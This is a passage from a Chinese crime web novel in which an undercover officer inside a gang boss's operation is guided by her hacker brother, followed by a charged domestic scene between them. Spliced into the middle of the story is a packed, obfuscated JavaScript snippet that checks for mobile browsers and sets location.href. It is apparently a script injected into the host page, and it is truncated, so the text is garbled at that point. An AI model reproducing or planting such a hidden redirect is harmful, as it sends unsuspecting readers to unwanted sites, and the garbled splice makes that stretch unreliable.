阮云琛当然明白这一点,但她心里也清楚,所谓“没有掩饰”,是建立在技术掩盖的基础上的。 每一次网吧的监控、网络记录,都会被阮秋重新洗白。他留下的每一条痕迹,都是他故意为之。 换句话说,宋祈能查到的信息,都是阮秋“想让他看到的”。这就像是在宋祈面前铺了一条路,而路的尽头,什么都没有。 这种反向的“透明”,让宋祈摸不到头绪,也就不再追究。 宋祈微微眯起眼,像是在品味什么,随后低声笑了一下:“你变了挺多。” 他的语气里没有责备,甚至听起来还有点意味深长的玩味。但正是这种漫不经心的口气,让阮云琛心底微微一凛。 她抬起眼,目光平静地看着他,像是没听出他话里的深意:“嗯,人都是会变的。” 阮云琛说这句话时,声音里没有刻意的掩饰,也没有多余的情绪,仿佛只是陈述一个理所当然的事实。 阮云琛能感觉到他的试探。 宋祈从来不按常理出牌,他擅长让人摸不透他的意图,就像现在——他明明一句话没点破,却让人觉得每个字里都藏着什么。 但还好——他没怎么变。 他依旧是那个喜欢施压,喜欢试探,却从不轻易露出底牌的人。这样的宋祈,阮云琛熟悉,甚至习惯。对她来说,只要他没变,她就知道如何应对。 她变了,也足够了。 宋祈抖了抖烟灰,随手指了指楼上:“你看看这地方,破是破了点,但总归是你的家。可有些人啊,越是不想被找到,就越容易引人注意。” 那些话听起来像是普通的闲聊,但阮云琛听得出——他在怀疑。 徐七的“逃跑”让他对每一个人都多了几分提防,而她这个“得力助手”,显然无法幸免。 但也仅此而已。 宋祈就是这样的人,他喜欢让人摸不清他的底线,让人永远琢磨不透他到底知道多少。 他的目光扫过巷子,最后落在原来程一冉家那个脏兮兮的面摊位置上。那里的铁皮棚早就撤了,只剩下光秃秃的水泥地面,边缘还有些泛黄的油渍。 他忽然笑了一下,声音低而轻:“原来在这的那家面,还挺好吃的。” 阮云琛眉头微微一皱,却没有吭声。 宋祈随手将烟头丢在地上,用脚尖碾了几下,动作不紧不慢,直到那星点的火光完全熄灭。 他的动作带着一种漫不经心,却隐隐透着冷意,像是在提醒着什么,又像是在暗示什么。 他转身离开了巷子,脚步轻得没有一丝声响。 烟灰在地上散成了一片,像是粉身碎骨的隐喻。 阮云琛站在原地,直到他的身影彻底消失在风中,才转身往楼上走。她提着袋子的手没有放松,掌心甚至有些微微发紧。 ——这不是第一次被威胁,也不会是最后一次。 楼道里的灯光昏暗,脚步声回荡在狭窄的空间里。 阮云琛在快到家门口的时候,听见了楼上传来的脚步声。 她抬起头,程一冉正从楼上下来,肩膀上斜挎着一个黑色的包,手里拿着钥匙。两人相隔两步的距离时,程一冉的目光扫过她,没有说话,脚步却慢了些。 阮云琛顿了顿,低声开口:“注意家人。” 程一冉的眼神稍稍动了一下,像是明白了什么,嘴角抿紧,点了点头:“知道了。” 她们之间的对话从来都没有多余的寒暄。 不是不需要,而是根本没必要。程一冉的背影渐渐消失在楼梯拐角,阮云琛推开家门的同时,听到门轴一声轻响。 危险已经临近到触手可及的地方,程一冉应该比她更清楚。 可她知道,像程一冉这样的人,不会让危险靠近太多。 “姐,你回来了。”阮秋从屋里探了头出来,随后把耳机摘了下来,三两下就走去了门边,把阮云琛拎着的塑料袋给接了过来。 108. 钓鱼 阮云琛脱下外套,随手挂在门口的钩子上。阮秋已经把塑料袋放在了厨房的台面上,正拿着菜刀麻利地切着什么。 屋子里是热气腾腾的烟火气,锅里的粥咕嘟咕嘟地冒着泡,蒸汽在昏黄的灯光下升腾成一层薄雾。 “姐,饭快好了,等会儿别吃太快,小心伤口崩了。”他没有抬头,声音平稳,带着一股恰到好处的关心,却又显得太过自然。 阮云琛“嗯”了一声,走过去倒了杯水,看着他站在灶台前忙碌的背影。她发现,这个画面竟有些陌生。 不是因为不熟悉,而是因为太熟悉。 阮秋的动作利索干脆,丝毫没有犹豫。粥煮好了,他盛出两碗,放在桌子上,指了指座位:“姐,你坐。” 阮云琛拉开椅子坐下,低头喝了一口粥,心里却像被什么东西轻轻拂了一下。 味道还是老样子,甚至连勺子摆放的位置都一模一样。 可阮秋的态度却好像变了。 他没有多余的调侃,没有半句玩笑话。和她的对话里,只有再普通不过的关心和嘱咐。他低头喝粥时,目光落在碗里,安静得像是沉入水底的石子。 “今天去胖子那边了吗?”阮云琛忍不住问道。 “嗯,看了下。”阮秋抬头,目光平静,语气也平静,“还好,一切正常。” 阮云琛低头舀了一勺粥,却没送到嘴边。她看了他一眼,等着他继续说下去。 可是没有。 阮秋安安静静地吃着饭,碗里的汤一口接着一口,像是全然专注在这一顿晚餐上。那种过分的专注,让阮云琛感到有些不自在。 她舀起的那勺粥放回了碗里,抬眼又看了他一眼,目光停在他低垂的眼睫上。 等了好半天,还是没有等来下一句话。 “还有呢?”她终于开了口,语气有点不咸不淡。 “没有了。”阮秋抬头看了她一眼,放下筷子,回答得干脆利落。 这下轮到阮云琛没话说了。 她的眉头皱了皱,像是觉得哪里不对劲,可又说不上来。她抿了抿嘴唇,低头继续吃粥,碗里的粥不知怎的,竟有些凉了。 饭桌上的气氛就这么停滞下来,像是一池被微风吹起的涟漪,扩散得越来越远,却始终平淡。 阮云琛咬了一口咸菜,却觉得有些没滋没味。她的目光扫过他垂下的眼睫,突然觉得他好像离她很远。 从未有过的那种远。 她终于忍不住开口:“你最近怎么话变少了?” 阮秋的动作顿了一下,像是被这句话绊住了,但很快又恢复正常。他抬起头,目光带着一点笑意:“A的话不是挺多的吗。” 阮云琛愣了一下,手里的勺子停在半空中。 A的话是挺多的,但全是关于任务和工作的,干巴巴得像一张报表。可现在他这么一说,倒让她一时间接不上话。 阮云琛愣了半晌,最后只憋出了一声轻轻地“哦”,又埋头喝起了粥,没有再说话。 没有人提起四年前的事。 那段记忆像是被强行封存在某个角落,蒙着灰尘,不允许谁去揭开。甚至连回忆的触角,都被无声地缩回去。 阮云琛不止一次想过,这大概是最好的方式——对两个人来说,都是。 可她也知道,这份强行维系的平和,是有代价的。 桌上的粥已经快凉了。 阮秋像是没发现任何异样似的,没有再说什么,只是安静地收拾碗筷,把碟子端到水池边,动作熟练得让人挑不出错。 阮云琛的目光落在他身上,像是随意的,却又忍不住停留了一会儿。 水声哗哗作响,伴随着餐具碰撞的声音。阮云琛低头看着桌上的饭菜,嘴角微微动了一下,最终什么都没说。 从回来开始,阮秋就像变了个人。 说不上冷漠,但也不像以前那样直白。 那些曾经会毫无忌讳地说出口的情绪——无论是欢喜还是不满,如今似乎都被他刻意藏起来了,只露出一个模糊的边界。就像他的一举一动,都踩在那条若即若离的线上。 阮云琛察觉到这种变化,却说不上来哪里不对。 他以前不是这样的。 曾经的阮秋,总是话多得让人头疼,无论是他去了哪家店、吃了什么菜,还是路过哪个公园,看见什么新鲜事,总能被他说出一长串来。可现在,他什么都不说了——不,是只说必要的。 她咬了咬嘴唇,觉得有些尴尬,又有些复杂。 目光无意识地扫向厨房,想找点别的事情分散注意力。 洗碗的声音还在持续,伴随着水流的冲击,打在碟子的边缘,发出清脆的回响。阮云琛坐在椅子上没动,指尖在杯沿轻轻摩挲,像是在犹豫要不要说点什么。 可她没说出口。 喉咙有点干,像是被什么堵住了似的。阮云琛舔了舔嘴唇,想开口,却觉得嗓子发紧,最终还是闭了嘴。 从头到尾,阮秋都没有抬头看她一眼,像是完全沉浸在自己的节奏里。那份沉静让她觉得有些别扭,仿佛自己是个多余的旁观者。 阮云琛站起了身,椅子在地板上划出一声细微的声响。 “我去休息了。”她说。 水声停了。 阮秋擦了擦手,从厨房走了出来。他的表情依旧平静,像是什么都没发生过。 “我去趟胖子那边,电话联系。”他说着,换上鞋子,拉开了门。 “嗯。”阮云琛看着他的背影,手指无意识地敲了敲杯沿。 门轻轻关上了,屋里重新归于安静。 可那份安静里,却藏着一种说不清的怪异感,像是一根细细的针,轻轻戳了一下,又迅速隐没在空气里。 三个月的时间,说长不长,说短也不短。 从徐七“失踪”那天开始,舆论就像被按下了某个隐秘的开关,逐渐升温。 最初只是几张模糊的截图、几段含糊不清的描述,夹杂在网络的噪音里,但很快就被敏锐的记者捕捉到,将裸贷背后的黑幕一层层揭开。 标题直白而刺目——《她只想读书,却差点失去一切》。 文章里的内容没有提及任何名字,只隐晦地提到了高利贷和裸照交易的操控者,影射着一个无形的庞然大物。 网民们义愤填膺,媒体的追问如潮水般涌向警方。 那些本该隐藏在阴影中的秘密,如今暴露在阳光下。短短几天内,几位受害者匿名发声,更多的证据开始浮出水面。 人们关心的,不再是这件事是否真实,而是背后的操纵者何时会被绳之以法。 宋祈坐在他的办公室里,脸上是那种看不出情绪的平静。即便如此,眼神里的锋利却像一道刀光,轻轻扫过身边的人。没人敢先开口。 他早就习惯了这样的局面。 几分真,几分假,足够让大部分人迷失在其中——但这次不同。 媒体的声音太大了,几条线索串联在一起,逼着人不得不看,不得不重视。 十年前,宋祈还是游刃有余的。 那是个网络尚未全面铺开的年代,信息传播的速度慢得像冬天河面下冻结的水流。 他可以用一场车祸、一个意外,轻而易举地抹去所有的痕迹。人们的消息来源不过是报纸和广播,而这些渠道,他都能轻松掌控。 可现在不同了。 网络把人们的声音连成了一张密不透风的网,每一个热搜、每一条评论,都会在几分钟内传到无数人的手机上。 过去的“删帖”已经无法阻止舆论的蔓延,那些匿名的发声就像从水底浮起的泡沫,一个接一个地破开,露出背后的阴影。 宋祈——他没有预估到这一点。 A的情报系统比宋祈的触角伸得更远。 根据追踪到的线索,宋祈潜逃的十年里,活动区域几乎都集中在东南亚的边缘地带。缅国北部的一片偏远山区,是他的藏身地之一。 那里通讯落后,网络覆盖稀少,甚至连基础的公共服务都很难保证。他在那里,继续做着他的“生意”,远离国际的视线,靠着现金交易和当地的保护伞,隐姓埋名。 “在那种地方,舆论不会成为问题。”阮秋曾在一份简短的情报里这么写。 可问题是,他回到了国内。 阮云琛看着那些正在发酵的新闻和铺天盖地的讨论,意识到这不仅是宋祈的失误,更是他的盲点——十年的时间,科技的飞跃足以把一个藏在旧时代的影子,拖入聚光灯下。 他习惯了掌控那些落后地区的人与资源,却忽略了国内已经是另一个世界。 人会变,社会会变。而宋祈,仍然抱着过去的规则,试图在一个全新的战场上继续他的游戏。 正如阮云琛所说,宋祈没有变。 好在他没有变。 好在他仍旧相信,只要掌控住人,就能掌控住一切。 阮云琛听着他安排手下布置新的对策时,脑海里回荡着那句“人是会变的”。 社会的变化是她最大的依仗,而宋祈的“稳定性”,是她最大的机会。 宋祈不得不重新审视自己的人马。 从最底层的小角色,到稍有权力的中层,甚至包括他最信任的几个人。 人总是需要一个出口的。 在宋祈的世界里,出口往往是用血与火来划定的。 阮云琛站在一旁,像个旁观者。 她知道裸贷事件已经撼动了宋祈的势力,她也知道,这只不过是开始。 徐七的“逃跑”曾经是一个精心布置的谎言,但随着越来越多的手下“逃走”,宋祈开始嗅到了一丝不对劲的气味。 阮云琛能感受到他的怀疑,但这怀疑就像悬在半空的刀,始终没有落下来。 警方通过舆论推波助澜,却也小心翼翼,不敢将战线拉得太长。 每一条新闻的放出、每一个细节的曝光,都是精密计算后的结果。舆论的高峰期必须维持,时间却不能拖得太久。否则,这张网就会失去它最初的力量。 与此同时,阮秋的行动从未停止。 从网络信息的收集,到关键证据的曝光,甚至是操控那些“匿名爆料”的流向,他都一一安排妥当。 通过伪造的证据链,警方得以掌握宋祈手下更多人的行动轨迹。某些交易被截断,某些账本被取走。这些看似无意的动作,实则是抽丝剥茧,为最后的收网铺路。 阮云琛知道,A的存在是她最大的倚仗,也是她最不敢面对的部分。耳机里传来的每一句话都那么熟悉,熟悉到让她怀疑,自己是否真的看透了他。 但此刻没有时间去想更多。 三个月的期限就像一座隐形的高塔,时间的每一滴流逝,都在为它加固根基。 宋祈没有做声,但他已经开始行动。 他不会像普通人那样轻易被动摇,舆论只是让他按下了更多隐藏的按钮。 他重新布置了手下的路线,加强了资金的流转,甚至安排了几次“敲山震虎”的小型示威。那些动作都精准而冷酷,却也间接暴露了更多的弱点。 这一切,阮云琛都看在眼里。 在舆论的声浪里,宋祈的名字从未被直接提及,但他一定知道,那种无形的压力正在一点点侵蚀他的地盘。 他不得不更加谨慎,也因此,会有更多的目光落在阮云琛的身上。 三个月过去一半了。 宋祈的怀疑没有停下过,甚至在这段时间内愈演愈烈。 他不相信任何人,尤其是身边这些看似亲近的“兄弟”。可他又无法不使用阮云琛——她在他眼里是最干净的那一个,最值得信任的那一个,尽管这种“信任”从未真正存在过。 每一次任务的安排,都像是把她推向一个更危险的位置。 每一次成功的完成,又让他的疑心稍稍收敛,仿佛她的一举一动都在验证着他心里的某种假设。 那一天,宋祈召见了她。 谈话的内容很简单,平铺直叙得像是在交代一件日常事务。但阮云琛听得出来,威胁藏在每一句看似漫不经心的话语背后。宋祈的语调平稳,像在安抚什么,又像在警告什么。 她低头听着,偶尔点头,偶尔应答,脸上没有一点多余的表情。危险正在逼近,可宋祈的信任,也是她目前为止最大的筹码。 ——新的任务来了。 宋祈的命令依旧精准而冷漠:“码头上的一艘货轮。目标是对账单,顺便看看那边的情况。” 没有多余的解释。 阮云琛知道,这不仅是一次例行试探。 货轮是宋祈近几年核心资金链的一部分,而这一次的任务内容显然比之前更加直接——她要带回那些他最想知道、也最害怕被泄露的信息。 宋祈清楚,越是靠近核心,越有可能出现背叛。 他不信任任何人,正因为如此,他才会用一个最看似不可能背叛的人来完成这件事。 这次任务的目的,已经不只是试探那么简单。 宋祈在赌,而阮云琛,则是他手里的筹码。 耳机里的声音准时传了来:“那个U盘,你带上了吗?” “带了。”她语气平静,手指无意识地摩挲着口袋里的塑料壳。 “别急着取账本,”A的声音一如既往地冷静,带着一丝沉着的笃定,“他给你的舱位图有一层被删改过的数据,真正的保险柜不在那里。你需要去第五舱位,B3房内,有一台笔记本电脑,把U盘插.进去。” 阮云琛微微皱起了眉。 她知道他总能提前洞察那些隐藏的风险,这次也不会例外。 阮云琛在灯光昏暗的舱室里找到目标的时候,时间才过去了不到三分钟。舱门的电子锁被A破解得干净利落,阮云琛进入舱室时,甚至没有触碰到任何报警装置。 电脑被锁着,屏幕上的密码框闪烁着红色的警告标志。但阮云琛早已熟悉这种场景,A的声音在耳机里平稳得让人安心:“设备接上,剩下的交给我。” 她从口袋里取出一个U盘插入接口,屏幕很快弹出一行进度条。她注视着数字的跳动,耳边却听见了A的提醒:“脚步声,左侧通道,三个人,靠近中。” 阮云琛没动,只是用余光扫了一眼门口。时间是她此刻最大的敌人,但她也明白,太过匆忙反而会引来更多怀疑。 “五秒。”A在耳机里低声说道。 阮云琛点了点头,手指贴在U盘上,眼神却始终盯着门外的光线变化。五秒后,设备弹出,她迅速收起U盘,将椅子复原,然后沿着原路退出舱室。 “他们发现舱门了。”A在耳机里语气加重了一些,“两个人向你这个方向来,右侧通道出口有一个警卫。” 阮云琛加快了脚步,耳边是急促的脚步声和对讲机的低语。 出口近在眼前,她却不得不放缓了速度。对讲机的声音此刻几乎清晰得能听懂内容,她抬头看了一眼出口处的警卫,用最平静的语气说道:“来拿货的。” 警卫抬头,目光上下打量了她一眼,像是在判断她是否可信。她站得笔直,面无表情,那种从不露出任何破绽的冷静反而让对方挥了挥手,示意她离开。 账本被传输到警方的数据库中时,凌晨的钟声刚刚敲响。 阮云琛没有去看那份文件,耳机里也没有传来任何多余的解释。 她知道,无论拷贝到的是什么,足够让整个局势掀起更大的风暴。屏幕的另一头,A已经处理好了这些数据——他总是比她想得更远一步,也走得更快一步。 文件里的信息不算多,但足够致命。 首先是一份极其隐秘的交易记录:天安基金与宋祈的资金往来像是一条线,被细致地标记在账本的每一页上。 那是一种精密到让人毛骨悚然的秩序,每一笔款项的来源与去向清晰得像是在炫耀。 就在这份记录的最后,一笔异常巨大的金额静静地躺在那里,备注着一个陌生公司的名字——辰光企业。 阮云琛记得,那是宋祈旗下的一家物流企业。 文件还附带了一份名单。 名单上并不全是宋祈的心腹,而是一些她完全没料到的人——几个知名企业的高管,甚至还有一两个政府官员的名字。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15284063|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天安基金的触角显然伸得比警方掌握的更加深入,这让整件事显得更为棘手。 另一部分则是货运路线的详细记录。 宋祈的每一批货都经过精确计算,无论是路线还是时间,几乎挑不出一点漏洞。 但在这些看似毫无破绽的细节中,有一艘即将启航的货轮被单独标注了红色。这艘船的目的地指向东南亚的一个小港口,标注着“高风险”三个字。 A在文件中留下了一个简单的批注:“这艘船,必须盯紧。” 除此之外,还有一份媒体支付的记录。 这些资金显然是用来操控舆论的,每一笔交易都精确到日。 文件上的字眼没有透露太多,但那种刻意隐藏的东西,却让人心里发冷。天安基金显然不仅在经济领域游刃有余,他们还在试图染指更深层次的权力——宋祈终于意识到了当初他回国之后被低估的部分。 那些他曾不屑一顾的网络喧嚣,竟然在短短几个月内逼近了他的每一条底线。 而当他终于将目光转向这些被忽略的角落时,他的反应一如既往——迅速而可怕:压制负面舆论,操控公众认知,为资金流动创造掩护......或许还有更多的目的,那些都只是猜测,但宋祈总能够应现所有最坏的预测。 这份记录是他的第一步尝试,也是他手中最直接的工具。宋祈最擅长于在最短的时间内嗅到机会的味道,并精准地找到那根可以撬动局面的杠杆。 支付记录不过是一个开始,背后,是更深、更冷酷的筹谋。 对于宋祈来说,这无疑是一次尝试,也是一场赌局。 他已经看清了网络的力量,尽管晚了一步,但他迅速补足了这一点,转而开始利用它为自己开辟新的战场。 而他的可怕之处就在于,每一次看似仓促的行动背后,往往隐藏着难以察觉的深度。 但好在这些内容都已经记录在了警方的档案中。 这些证据并没有直接被曝光。 警方的策略向来冷静:他们不会轻易打草惊蛇,更不会在证据链不完整之前贸然行动。 这些账本、名单、资金流向,像是拼图的一角,隐藏在一层层精密的防线之中。每一笔交易背后,可能都有无数条分支线索,而他们的任务,是将这些分支一点一点地剥离开来,直到整个网络暴露无遗。 宋祈暂时没有察觉到这些异动——至少表面上看起来是这样。 他的警觉还在,他的试探从未停止,但那些隐秘的资金链却像是毒蛇一样潜伏在暗处,警方不动声色地用细线捆住它们,等到时机成熟,一举收网。 一切,都在等待一个完美的时机。 三个月,不多也不少,正是他们所能争取到的极限时间。 而这三个月里,阮云琛必须以比以往更精确、更冷静的姿态完成每一步。 她知道,每一个失误都可能让这些努力付诸东流。而她的角色,依旧是那把被小心操控的刀——既要劈开宋祈的防线,又不能让他发现刀柄握在谁的手里。 宋祈给阮云琛打了电话,没有提任务,也没有提其他的什么。 他只问了一句:“最近过得怎么样?” 阮云琛知道,那只是个幌子。 电话那头的笑声听起来很轻,却藏着某种难以琢磨的意味——他总是这样,喜欢用平静的语气掩盖那些无形的试探。 她的手机开着外放,房间里宋祈的声音显得格外清晰。 阮秋坐在屋内,他微微侧了身,单边耳机亮着蓝色的光,目光静静地落在她身上。他的手指在电脑上轻敲了两下,然后抬头朝她点了点头——一切正常,宋祈没有察觉。 阮云琛握着手机,目光扫过昏暗的房间,终究没有说出太多,只是淡淡地回应了一句:“还好。” 那笑声听起来像是在回答,又像是在告诫:你最好一直都这样。 电话挂了。 阮云琛沉默了一瞬,抬手揉了揉额角,眼底闪过一丝疲惫,但很快被掩盖。 “我有点困了。”她说。 阮秋抬起头,目光从屏幕上移了开。 “你还没吃晚饭。”他说,声音不大,却透着不容置疑的平静。 阮云琛没有回应,只是扯了扯嘴角,转身走向浴室,脚步有些懒散。 她在镜子前停了下,抬手解开衬衫的扣子,疲惫感如潮水般涌上来。 镜中的自己看起来比她想象中还要憔悴,脸色惨白,眼下的黑眼圈一层叠着一层,像是被什么抽干了力气。 阮云琛抬手拨了拨头发,那些发丝早已超过肩膀,乱糟糟地垂下来。她愣了一下,才意识到,自己似乎很久没剪过头发了。 警校的日子强制短发,她总是留着耳上长度。后来去了派出所,头发也没长过几寸,时间一久,修剪几乎成了一种惯性。 但最近这些日子——阮云琛看着镜中的自己,头发已经到了肩膀下方,微微卷着,散乱地贴在脖颈上。 阮云琛伸手拿起台上的剪刀,手指摩挲着冰冷的刀片,犹豫了一下,目光又移到镜子里的自己。最终,她叹了口气,随手揪起一束头发,咔嚓两下,剪到了肩膀的长度。 碎发掉在台面上,一片凌乱。阮云琛简单收拾了一下,随意用手拍了拍肩膀,觉得差不多了,才转身走向淋浴喷头。 水声哗哗地响起来,伴随着镜子上升腾的白雾。 这一段时间,她的任务已经堆到了极限。 宋祈的试探、警方的嘱托、阮秋的协助——每一件事都像是一根绷紧的弦,绕在她的心头。 阮云琛想不起来自己有多久没好好睡过一觉了,更不记得上一次放松是什么时候。 等她从浴室里出来的时候,餐桌上已经摆好了饭菜。 阮秋站在旁边,卷着袖子,手里拿着一块抹布,正在擦拭桌面。听见动静,他抬起头看了她一眼。 “吃了再睡。”他说,声音淡淡的,手上的动作却没有停下。 饭菜是简单的家常菜,粥的热气在空中缓缓升腾,混着某种熟悉的味道,让她一时间有些恍惚。 阮云琛站在那儿,盯着桌上的饭菜出了一会儿神。 粥的热气缓缓升腾,夹杂着熟悉的味道,萦绕在空气里。那种味道触碰到了记忆中某个模糊的片段,但疲惫的脑袋实在没心思去细想。 阮云琛动了动手指,在坚持去睡觉和现在就吃饭之间挣扎了许久,直到她的肚子不争气地响了一声,才败下阵来,叹了口气,伸手端起碗,喝了一口粥。 是小米南瓜粥,还是熟悉的味道。米粥的温热顺着喉咙滑下,阮云琛忽然觉得那种冷冽的疲惫好像稍微散了一些。 饭桌上很安静,安静得让人有些不自在。 阮秋没有说话,也没有任何多余的动作,只是低头慢吞吞地吃着。 他的姿势很随意,手肘靠在桌沿,袖口微微挽起,露出一截线条流畅的小臂,手腕上还带着点水渍——大概是洗碗时没擦干净的。 他低着头,几缕头发垂在额前,遮住了一部分眉眼。碗边的筷子偶尔点一下,发出轻微的响声。 灯光从他的肩侧打下来,将他眉骨的阴影刻得深邃而柔和。 阮云琛的视线不自觉地从他的手腕移到手指,又从手指慢慢滑到他微抿的嘴角。 阮秋的嘴唇很薄,带着点干燥的纹路,但因为吃了炒蛋,又有些油蹭在了上面,被日光灯一打,显得晶亮亮的。 阮云琛忽然觉得嗓子有些干,咽了咽口水,目光顺着他的喉结往上,又看到了他微微抬起的眼睛。 “怎么了?”阮秋忽然开口,声音不大,却带着几分认真。 阮云琛猛地回过神,像是被人当场抓了现行一般,视线慌乱地从他身上移开,低头盯着碗里的粥,随口敷衍了一句:“没什么。” 可耳根却微微发热了起来。 阮秋的目光在她脸上停了一秒,没有继续追问,只是轻轻“嗯”了一声,继续低头吃饭。 阮云琛没再说话,埋头把碗里的粥喝完,站起来准备回房间。可刚走到一半,手腕被人轻轻拉住了。 109. 自然法则 阮云琛还没来得及迈出第二步,就感觉手腕被人一把拉住,下一秒,她被毫不客气地按回了椅子上。 “你干嘛?”她下意识地挣了一下,但阮秋的手力道不大,却不容抗拒。 还没等阮云琛反应过来,一块毛巾直接罩在了她的头上,伴随着阮秋低沉的声音:“头发擦干。” 那声音里带着一种不容拒绝的笃定,却又压得很低,像是怕吓到她,又像是某种温柔的训斥。 毛巾落下的那一刻,温热的布料贴着湿漉漉的头发,阮云琛猝不及防地愣住了,甚至没来得及挣扎。 “我——” 阮云琛刚开口,就感觉毛巾顺着发丝轻轻擦过,动作不紧不慢,力道刚好,像是安抚,却又好像不是。 “别动。” 阮秋站在她的面前,低声开了口,语气淡淡的,却带着一种让人无法违抗的力量。 阮云琛条件反射地低下了头。 毛巾摩挲着头发,带着一点点温热的潮气。缝隙里能看到阮秋垂下的眉眼,那表情安静而专注,就像是在完成一件再普通不过的事情。 他动作很轻,但却带着一种笃定的熟练,让阮云琛一时间分不清到底是该尴尬,还是该感动。 阮秋擦头发的动作很慢,像是故意拉长了时间,却又像是真的在仔细地擦干每一根发丝。 他的手穿过毛巾,指尖的力道极轻,像是在描摹什么,却又什么都没留下。 阮云琛觉得自己有点晕。 不是头晕,而是那种奇怪的、被笼罩在一种细腻而柔软的情绪里的眩晕感——可能是太累了。 对,可能是太累了。 就在这时,毛巾忽地被拿走了。 突如其来的光线让阮云琛愣了一下,随即她松了口气,下意识地动了一下肩膀,刚想站起来,却在下一秒,被一只手按回了椅子上。 动作干脆,带着一种不容置疑的力道。 阮云琛的心猛地一跳,甚至比刚才毛巾落下时更剧烈。她抬头看向阮秋,眉头皱得紧紧的,语气里多了点恼意:“又干嘛?” 阮秋站在她身后,低头看了她一眼,表情平静得像是什么事都没发生过。 “头发没干,睡觉会感冒。”他说,声音不轻不重,却透着一种自然的理所当然,“再用吹风机吹一下。” 阮云琛看着他,想从他那张脸上看出点别的什么来,可他只是转身去了厕所,从里面的柜子上拿了吹风机回来,插上电,打开了开关。 温热的风从她的耳边拂过,带着一点点轻微的嗡鸣。阮秋站得很近,手指穿过她的发丝,小心地分开湿润的头发,动作慢条斯理,专注得过分。 阮云琛不动声色地往前挪了一点,试图拉开些距离,但他的手却轻轻压住了她的头顶,力道不重,却让她再也动不了。 “别乱动。”他说得平静又自然,仿佛只是随口的一句提醒。 可这一切却让阮云琛更坐立难安。 那种若即若离的触碰,温热的风声,耳边的嗡鸣,都像是在无声地拉扯着她的神经。她紧绷着身体,眼神不自觉地飘向别处,却又忍不住瞥一眼他低垂的眉眼。 他的表情太过认真,仿佛她只是一个普通的姐姐,而他只是一个尽职的弟弟。 可越是这样,她越觉得心里乱得厉害。 那种细腻的触感像是一根根羽毛,轻轻扫过她的神经。 阮秋的手指从头顶掠过,落在发尾,带着一点漫不经心的笃定,却又偏偏让她浑身都不自在。 每一次指尖的停顿,都像是刻意停留,却又无比自然地继续向下滑动。她的呼吸有些乱,不由自主地往前缩了缩,想要避开,却又只能僵着身体,愈发坐立难安。 吹风机的嗡鸣声忽然停了下来。 阮云琛一愣,仓皇着想要起身,却在下一刻,一阵温热的气息靠近了她的脖颈侧。 阮秋的动作带着几分随意,却莫名让她心跳猛地漏了一拍。他的手臂环过她的肩膀,从背后带着一种近乎保护性的姿态,将她牢牢地固定在原地。阮云琛整个人瞬间僵住了。 热气贴着脖颈侧扫过,细细密密,像是针尖一般扎进了皮肤里。 她几乎不敢呼吸,仿佛所有的动作都被这突如其来的气息锁死。她试图往前挪一点,却发现阮秋的手搭在她的肩膀上,轻轻一压,她就彻底动弹不得。 心脏在胸腔里扑通狂跳,几乎要震碎骨头,像是迫切地想把那温热的呼吸推远一些,再远一些。 “你的头发沾在脸上了。”阮秋的声音低了下来,带着一股不容忽视的平静,却偏偏像火星一般落在她的耳边。 阮云琛屏住了呼吸,指尖下意识地攥紧了衣摆。下一刻,她感受到他的手指轻轻拂过她的脸颊,那触感像是一根羽毛,轻而慢,却带着一股让人心慌的笃定。 有一根断掉的发丝被从脸上拿了下来。 “粘脸上了。”阮秋的声音就在她耳边,依旧那般平静无波,仿佛刚刚只是完成了一件再普通不过的小事。 阮云琛愣在原地,后背还维持着紧绷的弧度,像是整个人都被钉在了椅子上。她想说点什么,喉咙却发不出声音,只能听见自己的心跳在耳边轰鸣。 而阮秋已经松开了手,像什么都没发生一样,动作淡然,从头到尾不带一点多余的情绪。 阮云琛愣在那儿,脊背依旧僵直,像是刚从冰水里捞出来的鱼,冻得连呼吸都迟了半拍。她的目光不知道该往哪里放,几次张了张嘴,却没发出一点声音。 “……谢谢。”隔了好半晌,她才终于挤出了这么一句话,嗓子却干得像磨砂纸,声音也哑得不像自己的。 阮秋低头笑了一下,手里那根短短的发丝在他掌心停留了不到一秒,就被他随手丢进了垃圾桶。 他直起身,把吹风机的电源拔了去,语气轻得像是什么都没发生过:“好了。” 说完,他转身去了浴室,把吹风机收回了架子上,动作平稳自然,甚至连背影都显得无懈可击。 阮云琛却怔怔地坐着,连脑子都是空白的。等她终于从方才那股莫名的僵硬里抽身出来,阮秋已经收拾好了,背影快要消失在他自己的房间门口。 阮云琛愣了愣,脱口而出:“都弄完了?” 阮秋的脚步微微一顿。 他回过头,眉目平静,嘴角却挂着一点几乎察觉不到的弧度:“姐姐还想让我弄什么?” 这一句轻飘飘的话,阮云琛听在耳里,却像是一根针扎进了神经,麻了一阵,又猛地传来一股热。她愣了一下,随即猛地站起身,动作僵硬得像个生锈的机器。 “……没有。”她的声音紧绷得过了头,连目光都不敢往阮秋身上多停留一秒。 阮云琛僵直着背,迈着刻意保持自然却异常僵硬的步子往卧室走去,脚下像灌了铅,膝盖不听使唤地打直。 而就在快要关上房门的时候,阮云琛下意识地抬眼往外看了一下,却是直接撞上阮秋的目光——他还站在自己房间门口,插着手抱着胸,倚着门框,嘴角那点笑意像是为了等她。 阮云琛猛地僵了住,像是被人当场抓了个现行。 “早......早点睡,明天还有任务。”她憋出一句话,语速飞快,几乎是带着点慌乱地扔下这句之后,用力关上了房门。 门板合上的声音在安静的夜里显得格外响亮,阮云琛靠着门板站了一会儿,直到听见阮秋的房门合上的声音,才低头松了一口气,可脸上的热意怎么也散不下去。 走到床边,她用力躺了下,身体却越发不听使唤,整个背都僵硬地贴在床垫上,手心甚至微微发热。 那种莫名的燥意从胸腔扩散到耳尖,像是一场燎原的火。 阮云琛抬手捂住脸,指尖贴着发烫的皮肤,却无论如何也压不下心里的翻腾。 “……莫名其妙。”她低声嘟哝了一句,翻了个身,用被子把自己裹了个严实。 可即便关了灯,闭了眼,那双含着笑意的眼睛还是如影随形。 ——烦。 好烦。 别想了。 天变得凉了。 